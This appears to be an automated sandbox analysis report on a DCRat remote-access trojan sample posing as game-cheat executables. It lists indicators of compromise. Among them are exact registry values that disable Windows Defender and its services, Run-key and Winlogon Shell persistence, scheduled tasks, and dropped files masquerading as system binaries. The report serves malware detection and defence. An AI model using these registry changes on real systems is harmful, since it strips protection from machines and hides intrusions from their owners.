dcrat | 841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Public\\Pictures\\csrss.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Public\\Pictures\\csrss.exe\", \"C:\\Users\\Default User\\OfficeClickToRun.exe\", \"C:\\Program Files (x86)\\Windows Mail\\WmiPrvSE.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Public\\Pictures\\csrss.exe\", \"C:\\Users\\Default User\\OfficeClickToRun.exe\", \"C:\\Program Files (x86)\\Windows Mail\\WmiPrvSE.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\spoolsv.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Public\\Pictures\\csrss.exe\", \"C:\\Users\\Default User\\OfficeClickToRun.exe\", \"C:\\Program Files (x86)\\Windows Mail\\WmiPrvSE.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\spoolsv.exe\", \"C:\\Users\\Default\\fontdrvhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Public\\Pictures\\csrss.exe\", \"C:\\Users\\Default User\\OfficeClickToRun.exe\", \"C:\\Program Files (x86)\\Windows Mail\\WmiPrvSE.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\spoolsv.exe\", \"C:\\Users\\Default\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Windows Defender\\System.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Public\\Pictures\\csrss.exe\", \"C:\\Users\\Default User\\OfficeClickToRun.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Public\\Pictures\\csrss.exe\", \"C:\\Users\\Default User\\OfficeClickToRun.exe\", \"C:\\Program Files (x86)\\Windows Mail\\WmiPrvSE.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\spoolsv.exe\", \"C:\\Users\\Default\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Windows Defender\\System.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Public\\Pictures\\csrss.exe\", \"C:\\Users\\Default User\\OfficeClickToRun.exe\", \"C:\\Program Files (x86)\\Windows Mail\\WmiPrvSE.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\spoolsv.exe\", \"C:\\Users\\Default\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Windows Defender\\System.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Program Files\\Windows Sidebar\\Gadgets\\SppExtComObj.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Users\\Public\\Pictures\\csrss.exe\", \"C:\\Users\\Default User\\OfficeClickToRun.exe\", \"C:\\Program Files (x86)\\Windows Mail\\WmiPrvSE.exe\", \"C:\\Program Files (x86)\\WindowsPowerShell\\spoolsv.exe\", \"C:\\Users\\Default\\fontdrvhost.exe\", \"C:\\Program Files (x86)\\Windows Defender\\System.exe\", \"C:\\Recovery\\WindowsRE\\explorer.exe\", \"C:\\Program Files\\Windows Sidebar\\Gadgets\\SppExtComObj.exe\", \"C:\\Program Files (x86)\\Windows Portable Devices\\RuntimeBroker.exe\""	portrefNet.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4"	reg.exe

Process spawned unexpected child process 27 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2452	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4428	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4088	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3780	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2372	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3904	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4120	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4996	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1888	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2732	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3700	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4048	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4928	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3968	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2004	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	100	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	208	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3152	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2484	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4764	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4224	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3852	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2408	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3016	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1980	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1232	2620	schtasks.exe	123
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5060	2620	schtasks.exe	123

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

DCRat payload 3 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral2/files/0x0007000000023c95-47.dat	dcrat
behavioral2/files/0x0007000000023c98-84.dat	dcrat
behavioral2/memory/5004-86-0x0000000000CD0000-0x0000000000F0A000-memory.dmp	dcrat

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	Lunch LaCheatV2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	Lunch LaCheat.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	DCRatBuild.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	portrefNet.exe

Executes dropped EXE 7 IoCs

pid	Process
4580	Lunch LaCheatV2.exe
3904	Lunch LaCheat.exe
5024	DCRatBuild.exe
1584	52cheatand52rat.exe
5004	portrefNet.exe
3216	portrefNet.exe
1228	WmiPrvSE.exe

VMProtect packed file 5 IoCs

Detects executables packed with VMProtect commercial packer.

vmprotect

resource	yara_rule
behavioral2/files/0x0010000000023bc5-4.dat	vmprotect
behavioral2/memory/4580-24-0x0000000000400000-0x0000000001B6B000-memory.dmp	vmprotect
behavioral2/files/0x0007000000023c94-28.dat	vmprotect
behavioral2/memory/4580-32-0x0000000000400000-0x0000000001B6B000-memory.dmp	vmprotect
behavioral2/memory/3904-42-0x0000000000400000-0x00000000018F3000-memory.dmp	vmprotect

Adds Run key to start application 2 TTPs 18 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SppExtComObj = "\"C:\\Program Files\\Windows Sidebar\\Gadgets\\SppExtComObj.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Users\\Public\\Pictures\\csrss.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Users\\Public\\Pictures\\csrss.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\Recovery\\WindowsRE\\explorer.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Program Files (x86)\\Windows Portable Devices\\RuntimeBroker.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OfficeClickToRun = "\"C:\\Users\\Default User\\OfficeClickToRun.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\explorer = "\"C:\\Recovery\\WindowsRE\\explorer.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Program Files (x86)\\WindowsPowerShell\\spoolsv.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "\"C:\\Program Files (x86)\\Windows Defender\\System.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "\"C:\\Program Files (x86)\\Windows Defender\\System.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SppExtComObj = "\"C:\\Program Files\\Windows Sidebar\\Gadgets\\SppExtComObj.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RuntimeBroker = "\"C:\\Program Files (x86)\\Windows Portable Devices\\RuntimeBroker.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OfficeClickToRun = "\"C:\\Users\\Default User\\OfficeClickToRun.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Program Files (x86)\\Windows Mail\\WmiPrvSE.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Users\\Default\\fontdrvhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\fontdrvhost = "\"C:\\Users\\Default\\fontdrvhost.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WmiPrvSE = "\"C:\\Program Files (x86)\\Windows Mail\\WmiPrvSE.exe\""	portrefNet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\spoolsv = "\"C:\\Program Files (x86)\\WindowsPowerShell\\spoolsv.exe\""	portrefNet.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ip-api.com

Modifies Security services 2 TTPs 4 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WdNisSvc\Start = "4"	reg.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4580	Lunch LaCheatV2.exe
3904	Lunch LaCheat.exe

Drops file in Program Files directory 10 IoCs

description	ioc	Process
File created	C:\Program Files\Windows Sidebar\Gadgets\e1ef82546f0b02	portrefNet.exe
File created	C:\Program Files (x86)\Windows Portable Devices\RuntimeBroker.exe	portrefNet.exe
File created	C:\Program Files (x86)\Windows Mail\WmiPrvSE.exe	portrefNet.exe
File created	C:\Program Files (x86)\Windows Mail\24dbde2999530e	portrefNet.exe
File created	C:\Program Files (x86)\WindowsPowerShell\spoolsv.exe	portrefNet.exe
File created	C:\Program Files (x86)\WindowsPowerShell\f3b6ecef712a24	portrefNet.exe
File created	C:\Program Files (x86)\Windows Defender\System.exe	portrefNet.exe
File created	C:\Program Files\Windows Sidebar\Gadgets\SppExtComObj.exe	portrefNet.exe
File created	C:\Program Files (x86)\Windows Portable Devices\9e8d7a4ca61bd9	portrefNet.exe
File created	C:\Program Files (x86)\Windows Defender\27d1bcfc3c54e0	portrefNet.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Lunch LaCheatV2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DCRatBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Lunch LaCheat.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	DCRatBuild.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	portrefNet.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 27 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
100	schtasks.exe
4088	schtasks.exe
3904	schtasks.exe
4428	schtasks.exe
3780	schtasks.exe
4120	schtasks.exe
2732	schtasks.exe
2484	schtasks.exe
3852	schtasks.exe
4996	schtasks.exe
3968	schtasks.exe
1232	schtasks.exe
5060	schtasks.exe
4764	schtasks.exe
3016	schtasks.exe
1980	schtasks.exe
2452	schtasks.exe
3700	schtasks.exe
4048	schtasks.exe
3152	schtasks.exe
4928	schtasks.exe
2004	schtasks.exe
2372	schtasks.exe
1888	schtasks.exe
208	schtasks.exe
4224	schtasks.exe
2408	schtasks.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
4580	Lunch LaCheatV2.exe
4580	Lunch LaCheatV2.exe
4580	Lunch LaCheatV2.exe
4580	Lunch LaCheatV2.exe
3904	Lunch LaCheat.exe
3904	Lunch LaCheat.exe
3904	Lunch LaCheat.exe
3904	Lunch LaCheat.exe
3216	portrefNet.exe
3216	portrefNet.exe
3216	portrefNet.exe
3216	portrefNet.exe
3216	portrefNet.exe
3216	portrefNet.exe
3216	portrefNet.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	1584	52cheatand52rat.exe
Token: SeIncreaseQuotaPrivilege	1176	wmic.exe
Token: SeSecurityPrivilege	1176	wmic.exe
Token: SeTakeOwnershipPrivilege	1176	wmic.exe
Token: SeLoadDriverPrivilege	1176	wmic.exe
Token: SeSystemProfilePrivilege	1176	wmic.exe
Token: SeSystemtimePrivilege	1176	wmic.exe
Token: SeProfSingleProcessPrivilege	1176	wmic.exe
Token: SeIncBasePriorityPrivilege	1176	wmic.exe
Token: SeCreatePagefilePrivilege	1176	wmic.exe
Token: SeBackupPrivilege	1176	wmic.exe
Token: SeRestorePrivilege	1176	wmic.exe
Token: SeShutdownPrivilege	1176	wmic.exe
Token: SeDebugPrivilege	1176	wmic.exe
Token: SeSystemEnvironmentPrivilege	1176	wmic.exe
Token: SeRemoteShutdownPrivilege	1176	wmic.exe
Token: SeUndockPrivilege	1176	wmic.exe
Token: SeManageVolumePrivilege	1176	wmic.exe
Token: 33	1176	wmic.exe
Token: 34	1176	wmic.exe
Token: 35	1176	wmic.exe
Token: 36	1176	wmic.exe
Token: SeIncreaseQuotaPrivilege	1176	wmic.exe
Token: SeSecurityPrivilege	1176	wmic.exe
Token: SeTakeOwnershipPrivilege	1176	wmic.exe
Token: SeLoadDriverPrivilege	1176	wmic.exe
Token: SeSystemProfilePrivilege	1176	wmic.exe
Token: SeSystemtimePrivilege	1176	wmic.exe
Token: SeProfSingleProcessPrivilege	1176	wmic.exe
Token: SeIncBasePriorityPrivilege	1176	wmic.exe
Token: SeCreatePagefilePrivilege	1176	wmic.exe
Token: SeBackupPrivilege	1176	wmic.exe
Token: SeRestorePrivilege	1176	wmic.exe
Token: SeShutdownPrivilege	1176	wmic.exe
Token: SeDebugPrivilege	1176	wmic.exe
Token: SeSystemEnvironmentPrivilege	1176	wmic.exe
Token: SeRemoteShutdownPrivilege	1176	wmic.exe
Token: SeUndockPrivilege	1176	wmic.exe
Token: SeManageVolumePrivilege	1176	wmic.exe
Token: 33	1176	wmic.exe
Token: 34	1176	wmic.exe
Token: 35	1176	wmic.exe
Token: 36	1176	wmic.exe
Token: SeDebugPrivilege	5004	portrefNet.exe
Token: SeDebugPrivilege	3216	portrefNet.exe
Token: SeDebugPrivilege	1228	WmiPrvSE.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2300 wrote to memory of 4580	2300	841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4.exe	86
PID 2300 wrote to memory of 4580	2300	841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4.exe	86
PID 2300 wrote to memory of 4580	2300	841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4.exe	86
PID 2300 wrote to memory of 4308	2300	841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4.exe	87
PID 2300 wrote to memory of 4308	2300	841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4.exe	87
PID 2300 wrote to memory of 4308	2300	841eb644979b3c640761762645c9cd26f9bb46e558eaeb7bf0c2a79e761878f4.exe	87
PID 4308 wrote to memory of 212	4308	cmd.exe	89
PID 4308 wrote to memory of 212	4308	cmd.exe	89
PID 4308 wrote to memory of 212	4308	cmd.exe	89
PID 4308 wrote to memory of 2028	4308	cmd.exe	90
PID 4308 wrote to memory of 2028	4308	cmd.exe	90
PID 4308 wrote to memory of 2028	4308	cmd.exe	90
PID 4308 wrote to memory of 2004	4308	cmd.exe	91
PID 4308 wrote to memory of 2004	4308	cmd.exe	91
PID 4308 wrote to memory of 2004	4308	cmd.exe	91
PID 4308 wrote to memory of 3720	4308	cmd.exe	92
PID 4308 wrote to memory of 3720	4308	cmd.exe	92
PID 4308 wrote to memory of 3720	4308	cmd.exe	92
PID 4308 wrote to memory of 2408	4308	cmd.exe	93
PID 4308 wrote to memory of 2408	4308	cmd.exe	93
PID 4308 wrote to memory of 2408	4308	cmd.exe	93
PID 4308 wrote to memory of 3576	4308	cmd.exe	94
PID 4308 wrote to memory of 3576	4308	cmd.exe	94
PID 4308 wrote to memory of 3576	4308	cmd.exe	94
PID 4308 wrote to memory of 2608	4308	cmd.exe	95
PID 4308 wrote to memory of 2608	4308	cmd.exe	95
PID 4308 wrote to memory of 2608	4308	cmd.exe	95
PID 4308 wrote to memory of 2628	4308	cmd.exe	96
PID 4308 wrote to memory of 2628	4308	cmd.exe	96
PID 4308 wrote to memory of 2628	4308	cmd.exe	96
PID 4308 wrote to memory of 1648	4308	cmd.exe	97
PID 4308 wrote to memory of 1648	4308	cmd.exe	97
PID 4308 wrote to memory of 1648	4308	cmd.exe	97
PID 4308 wrote to memory of 768	4308	cmd.exe	98
PID 4308 wrote to memory of 768	4308	cmd.exe	98
PID 4308 wrote to memory of 768	4308	cmd.exe	98
PID 4308 wrote to memory of 1920	4308	cmd.exe	99
PID 4308 wrote to memory of 1920	4308	cmd.exe	99
PID 4308 wrote to memory of 1920	4308	cmd.exe	99
PID 4308 wrote to memory of 4788	4308	cmd.exe	100
PID 4308 wrote to memory of 4788	4308	cmd.exe	100
PID 4308 wrote to memory of 4788	4308	cmd.exe	100
PID 4308 wrote to memory of 3572	4308	cmd.exe	101
PID 4308 wrote to memory of 3572	4308	cmd.exe	101
PID 4308 wrote to memory of 3572	4308	cmd.exe	101
PID 4308 wrote to memory of 512	4308	cmd.exe	102
PID 4308 wrote to memory of 512	4308	cmd.exe	102
PID 4308 wrote to memory of 512	4308	cmd.exe	102
PID 4308 wrote to memory of 3608	4308	cmd.exe	103
PID 4308 wrote to memory of 3608	4308	cmd.exe	103
PID 4308 wrote to memory of 3608	4308	cmd.exe	103
PID 4308 wrote to memory of 4648	4308	cmd.exe	104
PID 4308 wrote to memory of 4648	4308	cmd.exe	104
PID 4308 wrote to memory of 4648	4308	cmd.exe	104
PID 4308 wrote to memory of 3784	4308	cmd.exe	105
PID 4308 wrote to memory of 3784	4308	cmd.exe	105
PID 4308 wrote to memory of 3784	4308	cmd.exe	105
PID 4308 wrote to memory of 2996	4308	cmd.exe	106
PID 4308 wrote to memory of 2996	4308	cmd.exe	106
PID 4308 wrote to memory of 2996	4308	cmd.exe	106
PID 4308 wrote to memory of 4516	4308	cmd.exe	107
PID 4308 wrote to memory of 4516	4308	cmd.exe	107
PID 4308 wrote to memory of 4516	4308	cmd.exe	107
